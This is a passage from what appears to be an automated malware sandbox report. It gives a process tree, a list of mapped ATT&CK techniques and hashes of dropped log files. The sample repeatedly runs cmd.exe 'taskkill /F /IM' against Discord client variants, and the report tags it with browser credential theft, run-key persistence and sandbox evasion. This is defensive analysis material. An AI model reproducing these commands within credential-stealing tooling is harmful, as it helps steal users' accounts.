  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  PID:5552
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:5904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:5424
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  PID:624
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  PID:6012
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:6088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:1512
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:5392

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:548

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:1736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:728

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:5116

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd
MD5 614f88cf39eb3223246afec4bf1463b4
SHA1 74d738ee6fdada75ac1ef1645073005e3f6b6cfb
SHA512 84a7151e0471e659699a15c25d9063af1975e79bb5f23de6b3bc0d3b96cd161d70ad35f6acdbc8123b38bac9918df8b202bd6f1f4ca8061919074973e6063a77
TLSH
T1A471DD313276B1D8C9163F071E2919C053BF4356EA94AF1CB698625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c03c91dd74498cc33a32d616fb3050ad954ed4f57e671e2e9651aedb7b128ff3
MD5 d30f23b777856a4a772cbe961f7b3343
SHA1 7b4f11fe65abb9620e0dbfeee619097a4648e70d
SHA512 64fa5e6ca5021734b620f79ded479d44ce30d4bd58ae9cdbee49fe1b251d6bd779a3b62708afafe90c37491259efc348d7fb2cb774d74668671c6295dca793d3
TLSH
T1E4415C303221B8D84D436F1315286ED5A3EF478AAFA89F5CB569231DCD2A45BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download